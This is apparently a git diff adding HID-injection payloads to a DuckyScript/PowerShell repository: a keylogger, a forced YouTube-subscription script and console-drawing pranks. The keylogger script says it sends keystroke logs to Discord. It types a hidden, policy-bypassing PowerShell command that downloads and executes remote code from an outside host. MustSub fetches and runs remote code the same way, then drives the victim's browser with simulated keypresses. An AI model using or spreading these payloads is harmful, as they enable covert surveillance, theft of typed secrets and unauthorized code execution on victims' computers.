<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
1
Payloads/Keylogger/keylogger.ps1
Normal file
1
Payloads/Keylogger/keylogger.ps1
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
$done = New-Object -ComObject Wscript.Shell;$done.Popup("This payload has been detected by Microsoft. An updated undetected version will be released as soon as possible",10)
|
||||||
25
Payloads/Keylogger/keylogger.txt
Normal file
25
Payloads/Keylogger/keylogger.txt
Normal file
|
|
@ -0,0 +1,25 @@
|
||||||
|
REM Title: Keylogger
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This is a Powershell based keylogger that exfiltrates the logs to discord
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM ADDITIONAL PARAMETERS
|
||||||
|
REM The payload is set to send the logs collected every hour on the hour
|
||||||
|
|
||||||
|
REM You maybe use the $log variable to specify a certain time instead (Use this for testing)
|
||||||
|
REM ex: $log="09:00 pm" <-- This will send the log every night at 9pm
|
||||||
|
REM You also have the option of setting up a killswitch to have the keylogger self delete at a certain time and date
|
||||||
|
|
||||||
|
REM $ks="12/25/2022 10:00:00 PM" <-- This will make the keylogger self delete at 10pm on December 25th
|
||||||
|
|
||||||
|
REM Calling the script with both a log time and killswitch will look something like this:
|
||||||
|
|
||||||
|
REM $dc='https://link.iamjakoby.com/xxxx';$log="09:00 pm";$ks="12/25/2022 10:00:00 PM";iwr "https://jakoby.lol/m2m" | iex
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -Ep Bypass -command "$dc='https://link.iamjakoby.com/xxxx';$log='';$ks='';iwr 'https://jakoby.lol/m2m' | iex"
|
||||||
|
ENTER
|
||||||
11
Payloads/MustSub/MustSub-Execute.txt
Normal file
11
Payloads/MustSub/MustSub-Execute.txt
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
REM Title: MustSub
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Description: This payload is used to get your target to subscribe to 15 of my favorite hacker youtube channels
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass irm jakoby.lol/14q | iex
|
||||||
|
ENTER
|
||||||
40
Payloads/MustSub/MustSub.ps1
Normal file
40
Payloads/MustSub/MustSub.ps1
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
$channels = @"
|
||||||
|
https://www.youtube.com/iamjakoby
|
||||||
|
https://www.youtube.com/c/CosmodiumCS
|
||||||
|
https://www.youtube.com/c/zSecurity
|
||||||
|
https://www.youtube.com/c/SystemExploited/featured
|
||||||
|
https://www.youtube.com/c/Lab401
|
||||||
|
https://www.youtube.com/c/TheCyberMentor
|
||||||
|
https://www.youtube.com/c/JohnHammond010
|
||||||
|
https://www.youtube.com/c/MalwareTechBlog
|
||||||
|
https://www.youtube.com/c/SecurityFWD
|
||||||
|
https://www.youtube.com/c/Nahamsec
|
||||||
|
https://www.youtube.com/c/jhaddix
|
||||||
|
https://www.youtube.com/c/NetworkChuck
|
||||||
|
https://www.youtube.com/c/DavidBombal
|
||||||
|
https://www.youtube.com/c/JimBrowning
|
||||||
|
https://www.youtube.com/user/TechInterpreterInc
|
||||||
|
"@
|
||||||
|
|
||||||
|
$URLs = $channels -split "`n"
|
||||||
|
|
||||||
|
function subscribe {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter (Mandatory = $True, Position=0, ValueFromPipeline = $True)]
|
||||||
|
[string]$channel
|
||||||
|
)
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
$url = -join($channel,"?sub_confirmation=1")
|
||||||
|
Start-Process $url
|
||||||
|
Start-Sleep -Seconds 3
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('{TAB}'*2)
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
[System.Windows.Forms.SendKeys]::SendWait('%{F4}')
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($channel in $URLs) {subscribe $channel}
|
||||||
121
Payloads/MustSub/Readme.md
Normal file
121
Payloads/MustSub/Readme.md
Normal file
|
|
@ -0,0 +1,121 @@
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<h1 align="center">
|
||||||
|
<a href="https://git.io/typing-svg">
|
||||||
|
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to;MustSub!+😈¢er=true&size=30">
|
||||||
|
</a>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Must Sub
|
||||||
|
|
||||||
|
A script used to get your target to subscribe to 15 of my favorite hacker YouTube channels.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script will loop through an array of URLs.
|
||||||
|
|
||||||
|
Each URL will be passed through the subscribe function.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* An internet connection
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass irm jakoby.lol/14q | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||||
|
</p>
|
||||||
BIN
Payloads/PS-Draw/Images/PS-Draw.jpg
Normal file
BIN
Payloads/PS-Draw/Images/PS-Draw.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
1
Payloads/PS-Draw/Images/images
Normal file
1
Payloads/PS-Draw/Images/images
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
images will be stored here
|
||||||
BIN
Payloads/PS-Draw/Images/omg-ico.png
Normal file
BIN
Payloads/PS-Draw/Images/omg-ico.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 383 B |
BIN
Payloads/PS-Draw/Images/ps-colors.jpg
Normal file
BIN
Payloads/PS-Draw/Images/ps-colors.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
BIN
Payloads/PS-Draw/Images/ps-hak5.jpg
Normal file
BIN
Payloads/PS-Draw/Images/ps-hak5.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
BIN
Payloads/PS-Draw/Images/ps-omg.jpg
Normal file
BIN
Payloads/PS-Draw/Images/ps-omg.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
232
Payloads/PS-Draw/PS-Custom-Draw.ps1
Normal file
232
Payloads/PS-Draw/PS-Custom-Draw.ps1
Normal file
|
|
@ -0,0 +1,232 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : PS-CustomDraw | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
This script uses the provided arrays to generate images. You also have the ability to make your own if you so choose.
|
||||||
|
To increase the size of the pixels add more spaces to the following Write-Host command.
|
||||||
|
Write-Host " " -NoNewline -BackgroundColor $Colors[$position]
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program will take the provided arrays and use them to generate images that will be drawn out in a powershell window.
|
||||||
|
|
||||||
|
.SYNTAX
|
||||||
|
$col | PS-Draw
|
||||||
|
$hak5 | PS-Draw
|
||||||
|
$omg | PS-Draw
|
||||||
|
PS-Draw -Image $col
|
||||||
|
PS-Draw -Image $hak5
|
||||||
|
PS-Draw -Image $omg
|
||||||
|
#>
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$Colors = @{
|
||||||
|
1 = 'White'
|
||||||
|
2 = 'Black'
|
||||||
|
3 = 'DarkBlue'
|
||||||
|
4 = 'DarkGreen'
|
||||||
|
5 = 'DarkCyan'
|
||||||
|
6 = 'DarkRed'
|
||||||
|
7 = 'DarkMagenta'
|
||||||
|
8 = 'DarkYellow'
|
||||||
|
9 = 'Gray'
|
||||||
|
10 = 'DarkGray'
|
||||||
|
11 = 'Blue'
|
||||||
|
12 = 'Green'
|
||||||
|
13 = 'Cyan'
|
||||||
|
14 = 'Red'
|
||||||
|
15 = 'Magenta'
|
||||||
|
16 = 'Yellow'
|
||||||
|
}
|
||||||
|
|
||||||
|
#Show available colors
|
||||||
|
$col = @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
|
||||||
|
@(2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2),
|
||||||
|
@(3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3),
|
||||||
|
@(4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4),
|
||||||
|
@(5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5),
|
||||||
|
@(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6),
|
||||||
|
@(7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7),
|
||||||
|
@(8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8),
|
||||||
|
@(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9),
|
||||||
|
@(10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10),
|
||||||
|
@(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11),
|
||||||
|
@(12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12),
|
||||||
|
@(13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13),
|
||||||
|
@(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14),
|
||||||
|
@(15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15),
|
||||||
|
@(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16)
|
||||||
|
|
||||||
|
|
||||||
|
$omg = @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1),
|
||||||
|
@(2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2),
|
||||||
|
@(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2),
|
||||||
|
@(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2),
|
||||||
|
@(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2),
|
||||||
|
@(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1),
|
||||||
|
@(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1),
|
||||||
|
@(2,2,1,1,1,1,2,2,2,1,1,1,1,1,1,2,2,2,1,1,1,1),
|
||||||
|
@(2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
|
||||||
|
@(2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
|
||||||
|
@(2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,1,2,2,2,2,2,2,1,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,1,2,2,2,2,2,2,1,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2),
|
||||||
|
@(2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2),
|
||||||
|
@(2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2),
|
||||||
|
@(2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,2,2,2,2,2,2,2)
|
||||||
|
|
||||||
|
|
||||||
|
$hak5 = @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,1,1,1,1,1,1,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,1,1,1,1,1,1,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,6,6,6,6,6,6,6,6,6,6,6,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,2,2,2,1,1,1,2,2,1,1,1,2,2,1,6,6,6,6,6,6,6,6,6,6,6,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,2,2,2,1,1,1,2,2,1,1,2,2,1,1,6,6,6,6,1,1,1,6,6,6,6,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,2,2,2,2,1,1,1,2,2,2,2,2,1,1,1,6,6,6,1,1,1,1,6,6,6,6,1),
|
||||||
|
@(1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,2,1,1,2,2,1,1,2,2,2,2,2,1,1,1,1,1,1,1,1,1,6,6,6,6,6,1),
|
||||||
|
@(1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,1,1,1,1,1,1,6,6,6,6,6,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,1,1,1,1,1,1,6,6,6,6,6,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,1,1,2,6,6,6,6,6,1,1,6,6,6,6,6,1,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,1,1,1,6,6,6,6,6,1,1,6,6,6,6,6,1,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,2,2,2,1,1,1,1,2,2,2,2,2,1,1,1,1,6,6,6,6,6,1,1,6,6,6,6,1,1,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,1,1,1),
|
||||||
|
@(1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,1,1,1,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,1,1,1,1,1,1,1),
|
||||||
|
@(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
function PS-Draw {
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[Alias("I")]
|
||||||
|
[object[]]$Image
|
||||||
|
)
|
||||||
|
|
||||||
|
# if the data is sent through the pipeline, use $input to collect is as array
|
||||||
|
if ($PSCmdlet.MyInvocation.ExpectingInput) { $Image = @($input) }
|
||||||
|
#$Data | Out-String -Stream -Width 9999 | ForEach-Object { "$($_.Trim())`r`n" }
|
||||||
|
|
||||||
|
cls
|
||||||
|
|
||||||
|
foreach ($row in $Image) {
|
||||||
|
foreach ($position in $row) {
|
||||||
|
Write-Host " " -NoNewline -BackgroundColor $Colors[$position]
|
||||||
|
Start-Sleep -m 10
|
||||||
|
}
|
||||||
|
Write-Host ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get either the targets full name associated with the registered microsoft account
|
||||||
|
or it will default to grabbing the username of the account to use as a greeting for this script
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# Get name to be used in greeting
|
||||||
|
|
||||||
|
cls
|
||||||
|
|
||||||
|
$fullName = Get-fullName
|
||||||
|
|
||||||
|
echo "Hello $fullName"
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Then the script will be paused until the mouse is moved
|
||||||
|
script will check mouse position every indicated number of seconds
|
||||||
|
This while loop will constantly check if the mouse has been moved
|
||||||
|
"CAPSLOCK" will be continuously pressed to prevent screen from turning off
|
||||||
|
it will then sleep for the indicated number of seconds and check again
|
||||||
|
when mouse is moved it will break out of the loop and continue the script
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is where you call the function to draw out one of the images above
|
||||||
|
$col - to see the available colors you can use for a custom image
|
||||||
|
$hak5 - this will draw out the hak5 five logo
|
||||||
|
$omg - this will draw out the omg logo
|
||||||
|
#>
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# Call function with one of the arrays listed above to generate an image
|
||||||
|
|
||||||
|
$hak5 | PS-Draw
|
||||||
|
|
||||||
|
|
||||||
201
Payloads/PS-Draw/PS-Draw.ps1
Normal file
201
Payloads/PS-Draw/PS-Draw.ps1
Normal file
|
|
@ -0,0 +1,201 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : PS-Draw | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
This script will convert an approximation of what your image should look like. Most likely you'll need to test several images to find one that works
|
||||||
|
well. It is best to use images no larger than 150x150 pixels, but I would even recommend going smaller than that. My example image is 25x20 pixels
|
||||||
|
To increase the size of the pixels add more spaces to the following Write-Host command.
|
||||||
|
Write-Host " " -NoNewline -BackgroundColor $BackGround
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program will take the path of an image you provide and convert it to a Bitmap file. An algorithm will be used to calculate the closest console color
|
||||||
|
that can be used in powershell. Finally that image will be drawn in a powershell window.
|
||||||
|
|
||||||
|
.SYNTAX
|
||||||
|
"$env:TMP\omg-ico.png" | PS-Draw
|
||||||
|
PS-Draw -Path "$env:TMP\omg-ico.png"
|
||||||
|
#>
|
||||||
|
